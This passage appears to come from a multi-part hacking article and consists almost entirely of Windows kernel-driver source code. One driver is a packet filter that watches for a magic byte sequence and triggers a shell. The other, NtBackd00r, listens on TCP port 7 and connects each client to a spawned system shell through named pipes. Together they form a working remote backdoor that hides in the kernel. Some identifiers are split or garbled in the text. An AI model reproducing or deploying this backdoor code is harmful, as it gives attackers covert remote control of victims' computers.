globalresult=IoCallDriver(pDeviceObject,pirp);
if (globalresult == STATUS_PENDING)
{
Timeout.QuadPart=100000000;
if (KeWaitForSingleObject(&Event,Executive,KernelMode ,FALSE,&Timeout)!=STATUS_SUCCESS)
return STATUS_UNSUCCESSFUL;
globalresult = pirp->IoStatus.Status;
}
return globalresult;
}
----[ 6.8 - MPFD_main.cpp
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "Sniffer.h"
#include "Filtering.h"
}
extern VOID ShellStarter(VOID* StartShellEvent);
HANDLE hShellStarterTread=NULL;
BOOLEAN Terminating=FALSE;
KEVENT StartShellEvent;
unsigned char * __cdecl memfind(
const unsigned char * str1,
unsigned int n1,
const unsigned char * str2,
unsigned int n2
)
{
if (n2>n1) return NULL;
unsigned char *cp = (unsigned char *) str1;
unsigned char *s1, *s2;
unsigned int x;
for (unsigned int i=0;i<=n1-n2;i++)
{
s1 = cp;
s2 = (unsigned char *) str2;
x=n2;
while (x && !(*s1-*s2) )
s1++, s2++, x--;
if (!x) return(cp);
cp++;
}
return(NULL);
}
unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C \x8C\x31\xE1\xD6";
PF_FORWARD_ACTION PacketFilter(
IN IPHeader *PacketHeader,
IN unsigned char *Packet,
IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex,
IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop,
IN IPAddr SendLinkNextHop
)
{
if (memfind(Packet,PacketLength,keyword,sizeof(keywor d)))
{
HANDLE ThreadHandle;
KeSetEvent(&StartShellEvent, 0, FALSE);
}
return PF_PASS;
}
NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
#if (DBG)
DbgPrint("MPFD: OnUnload called\n");
#endif
PVOID ThreadObj;
SutdownFiltering();
if (hShellStarterTread)
{
Terminating=TRUE;
ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, KernelMode, &ThreadObj, NULL);
KeSetEvent(&StartShellEvent, 0, TRUE);
KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL);
}
}
#pragma code_seg("INIT")
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
#if (DBG)
DbgPrint("MPFD:In DriverEntry\n");
#endif
UNREFERENCED_PARAMETER(RegistryPath);
for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunction[i] = OnStubDispatch;
}
DriverObject->DriverUnload = OnUnload;
status=InitFiltering();
if (status!=STATUS_SUCCESS) return status;
KeInitializeEvent(&StartShellEvent,Synchronization Event,FALSE);
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent);
return status;
}
Rest In Part VI
-
----[ 6.9 - NtBackd00r.cpp
// NtBackd00r.cpp
//
// Generated by Driver::Wizard version 2.0
#define VDW_MAIN
#include <vdw.h>
#include <stdio.h>
#include <ntifs.h>
#include "function.h"
#include "NtBackd00r.h"
#pragma hdrstop("NtBackd00r.pch")
#if (DBG)
#define dprintf DbgPrint
#else
#define dprintf
#endif
extern "C" {
NTSYSAPI
NTSTATUS
NTAPI
ZwWaitForMultipleObjects(
IN ULONG HandleCount,
IN PHANDLE Handles,
IN WAIT_TYPE WaitType,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
ZwCreateEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN EVENT_TYPE EventType,
IN BOOLEAN InitialState
);
NTSYSAPI
NTSTATUS
NTAPI
ZwSetEvent(
IN HANDLE EventHandle,
OUT PULONG PreviousState OPTIONAL
);
}
extern "C" void LoadFuncs();
extern "C" HANDLE StartShell(PHANDLE phPipe);
extern VOID ShellStarter(VOID* StartShellEvent);
/////////////////////////////////////////////////////////////////////
// Begin INIT section
#pragma code_seg("INIT")
DECLARE_DRIVER_CLASS(NtBackd00r, NULL)
/////////////////////////////////////////////////////////////////////
// Driver Entry
//
NTSTATUS NtBackd00r:riverEntry(PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
//Dynamic import of functions exported from ntdll.dll
LoadFuncs();
// Initialize the TDIClient framework first
if (!KTDInterface::Initialize())
{
// something wrong with TDI
return STATUS_NOT_FOUND;
}
// Create TCP server, port 7
CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO);
m_pListener = new(NonPagedPool) KStreamServer<Session> (TCP_port);
// If succeeded - enable network events
if (m_pListener && m_pListener->IsCreated()) {
m_pListener->SetEvents(TRUE);
dprintf("NtBackd00rDevice: Listener started\n");
}
else {
dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n");
return STATUS_INSUFFICIENT_RESOURCES;
}
//Create dummy device for IoQueueWorkItem
m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL);
if (m_pDummyDevice == NULL)
{
return STATUS_INSUFFICIENT_RESOURCES;
}
return STATUS_SUCCESS;
}
#pragma code_seg()
#pragma warning( disable : 4706 )
//This message will be sen to client in case of failure when starting shell
char errtxt_shell[]="cant start shell";
//////////////////////////////////////////////////////////////////////////////
// Unload is responsible for releasing any system objects that
// the driver has allocated.
//
VOID NtBackd00r::Unload(VOID)
{
if (m_pListener)
{
// Disable network event notifications
m_pListener->SetEvents(FALSE);
// Iterate through the list of active sessions
// and forcefully disconnect all active sessions
Session* p;
TDI_STATUS Status;
while ( p = m_ActiveSessionList.RemoveHead() )
{
// Thread handle must be extracted before dele p
HANDLE hWorkerThread = p->hDataPumpThread;
// By default, this method will perform an
// abortive disconnect (RST)
Status = p->disconnect();
ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status);
delete p;
// It's required to wait for termination of worker threads,
// or else unloading driver will cause BSOD
if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NULL);
}
// Wait for all outstanding requests to complete
// By issuing a disconnect for all sessions, any
// pending requests should be completed by the transport
m_pListener->Wait();
// destroy the socket
delete m_pListener;
m_pListener = NULL;
dprintf("NtBackd00rDevice: Listener stopped\n");
}
delete m_pDummyDevice;
// Call base class destructor to delete all devices.
KDriver::Unload();
}
// Frees buffers, given to ZwWriteFile for asynchronous write
VOID NTAPI ApcCallbackWriteComplete(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
)
{
UNREFERENCED_PARAMETER(IoStatusBlock);
UNREFERENCED_PARAMETER(Reserved);
//
delete (uchar *)ApcContext;
}
#define SENDS_QUEUED_THRESHOLD 3
// Thread, that transfers data between named pipe and socket
VOID DataPumpThread(IN PVOID thiz1)
{
IO_STATUS_BLOCK send_iosb, rcv_iosb;
uchar *send_buf, *rcv_buf;
ULONG rd;
const bufsize=0x1000;
NTSTATUS status;
LARGE_INTEGER ResendInterval;
//loacl copy of Pipes needed for correct thread termination
//after deleting Session
s_Pipes *Pipes;
Session* thiz=(Session*)thiz1;
Pipes=thiz->m_Pipes;
ResendInterval.QuadPart = (__int64)1E6; //0.1c
//Create FIFO
//Source of BSOD at high IRQL
thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000, NonPagedPool);
//Lock socket to avoid sudden deletion of it
thiz->Lock();
//send_buf alocated here, deleted in OnSendComplete
send_buf = new(NonPagedPool) uchar[bufsize];
//Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
if (status==STATUS_SUCCESS)
{
//Send read data to client
status=thiz->send(send_buf, send_iosb.Information, send_buf);
if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS ))
dprintf("send error %08x\n");
//to avoid recurring send of same data
send_iosb.Status = -1;
}
while (1) switch (ZwWaitForMultipleObjects(2, &Pipes->hPipeEvents[0], WaitAny, TRUE, NULL))
{
//STATUS_WAIT_1 - read operation completed
case STATUS_WAIT_1:
//
if (Pipes->Terminating) goto fin;
if (!Pipes->hPipe) break;
sending:
{
if (!send_iosb.Status)
{
resend:
//Send read data to client
status=thiz->send(send_buf, send_iosb.Information, send_buf);
//If there wan an error, then it tried to push too much data in socket
if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING ))
{
//Wait for free space in buffer...
KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval);
//...and retry
goto resend;
}
}
//send_buf alocated here, deleted in OnSendComplete
send_buf = new(NonPagedPool) uchar[bufsize];
//Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
//If there was a data in pipe buffer, it read instantly.
if (status==STATUS_SUCCESS)
//send it immediately
goto sending;
else {
if (status!=STATUS_PENDING)
{
delete send_buf;
//STATUS_PIPE_LISTENING - it's OK, process not connected to pipe yet
if (status!=STATUS_PIPE_LISTENING)
{
//otherwise it was an error, disconnect client and terminate thread
if (!Pipes->Terminating) thiz->disconnect();
goto fin;
}
}
}
};
break;
//STATUS_WAIT_0 - write operation completed
case STATUS_WAIT_0:
if (Pipes->Terminating) goto fin;
if (!Pipes->hPipe) break;
//FIFO must be locked during all operation with it
//to avoid conflicts
thiz->pWBytePipe->Lock();
//At first look what crowd into FIFO,...
rd = thiz->pWBytePipe->NumberOfItemsAvailableForRead();
if (rd)
{
//... then allocate appropriate amount of memory ...
rcv_buf = new(NonPagedPool) uchar[rd];
//... and read all at once
rd = thiz->pWBytePipe->Read(rcv_buf, rd);
}
thiz->pWBytePipe->Unlock();
if (rd)
{
status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL);
if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LI STENING)&&(status!=STATUS_PENDING))
{
//if there was an error, disconnect client and terminate thread
if (!Pipes->Terminating) thiz->disconnect();
goto fin;
}
}
break;
case STATUS_ALERTED:
break;
default: goto fin;
}
fin:
//If termination not initiated from outside, unlock socket
if (!Pipes->Terminating) thiz->Unlock();
//If pipe exists, then all the rest exists too -
//destroy it all
if (Pipes->hPipe)
{
ZwClose(Pipes->hPipe);
for (int i=0;i<=1;i++)
ZwClose(Pipes->hPipeEvents[i]);
CLIENT_ID clid = {Pipes->ChildPID, 0};
HANDLE hProcess;
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0};
#define PROCESS_TERMINATE (0x0001)
status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid);
if (!status)
{
ZwTerminateProcess(hProcess, 0);
ZwClose(hProcess);
}
}
delete Pipes;
PsTerminateSystemThread(0);
}
#define DISABLE_INTS __asm pushfd; cli
#define RESTORE_INTS __asm popfd;
VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1)
{
OBJECT_ATTRIBUTES attr;
HANDLE loc_hPipe, loc_hPipeEvents[2], loc_ChildPID;
UNREFERENCED_PARAMETER(DeviceObject);
#define desc ((s_WorkItemDesc*)desc1)
//By course of business will check is there "cancel" command
if (desc->WorkItemCanceled) goto cancel2;
//Start shell
loc_ChildPID = StartShell(&loc_hPipe);
if (loc_ChildPID)
{
InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);
//Create 2 events to notify thread about data receipt
//from socket or pipe
for (int i=0;i<=1;i++)
ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, SynchronizationEvent, FALSE);
//Disable interrupts and write all handles to structure that is class member
DISABLE_INTS
if (!desc->WorkItemCanceled)
{
desc->thiz->m_Pipes->hPipe = loc_hPipe;
desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeEvents[0];
desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeEvents[1];
desc->thiz->m_Pipes->ChildPID = loc_ChildPID;
}
RESTORE_INTS
if (desc->WorkItemCanceled) goto cancel;
//Create thread, that transfers data between named pipe and socket
PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz);
} else {
cancel:
//In case of error or cancel close pipe, send error message to client,
//and disconnect it
ZwClose(loc_hPipe);
char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1];
RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1);
desc->thiz->send(errmess, sizeof(errtxt_shell)-1);
desc->thiz->disconnect();
}
cancel2:
//Cleanup
IoFreeWorkItem(desc->WorkItem);
DISABLE_INTS
desc->WorkItem = NULL;
if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL;
RESTORE_INTS
ExFreePool(desc1);
#undef desc
}
/////////////////////////////////////////////////////////////////////////
// Session -- Event handlers.
BOOLEAN Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,
uint OptionsLength, PVOID Options)
{
// Connecting: print the IP address of the requestor and grant the connection
#if(DBG)
char szIPaddr[20];
inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr, sizeof(szIPaddr));
dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr, this);
#endif
// obtain a pointer to the KDriver derived class
NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver:riverInstanc e());
ASSERT(p);
//Initialization of miscellaneous stuff
pWBytePipe = NULL;
hDataPumpThread = NULL;
m_Pipes = new(NonPagedPool) s_Pipes;
RtlZeroMemory(m_Pipes, sizeof s_Pipes);
//Initialize and start WorkItem
m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc);
#define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc)
pWorkItemDesc->WorkItemCanceled=false;
pWorkItemDesc->thiz=this;
pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice);
if (!pWorkItemDesc->WorkItem) return FALSE;
//To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem
IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueue, pWorkItemDesc);
#undef pWorkItemDesc
// Add this object to the session list maintained by the driver
p->m_ActiveSessionList.InsertTail(this);
UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options);
return TRUE;
}
void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort)
{
dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this);
UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort);
}
Session::~Session()
{
// obtain a pointer to the KDriver derived class
NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver:riverInstanc e());
ASSERT(p);
// Remove this object from the session list maintained by the driver
p->m_ActiveSessionList.Remove(this);
//Set flas, that make thread to terminate
m_Pipes->Terminating = true;
//To not wait for yesterday in OnUnload
hDataPumpThread = NULL;
//Set event "let's finish"
if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
//If WorkItem works, notify it about termination
if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true;
delete pWBytePipe;
}
uint Session::OnReceive(uint Indicated, uchar *Data, uint Available,
uchar **RcvBuffer, uint* RcvBufferLen)
{
// Received some data from the client peer.
//If all required pointers and handles are valid
if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{
//Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated);
//And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
}
// Now, if the transport has more data available than indicated,
// allocate another buffer to read the rest. When the transport
// done with it - asynchronously - our OnReceiveComplete() handler
// is called. Note that failure to submit a buffer supressed further
// recieve indications - until and if a recv() is issued.
if (Indicated < Available) {
*RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated];
}
return Indicated;
}
void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt)
{
// Our send request has completed. Free the buffer
if (status != TDI_SUCCESS)
dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status);
//free the buffer
delete ((uchar*)buf);
UNREFERENCED_PARAMETER(bytecnt);
}
void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data)
{
// Buffer for the partially indicated data allocated and submitted during
// OnReceive() processing is filled in by the transport.
if (status == TDI_SUCCESS) {
if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{
//Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated);
//And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
}
} else
dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);
if (status != TDI_PENDING)
delete Data;
}
// end of file
Rest In Last part
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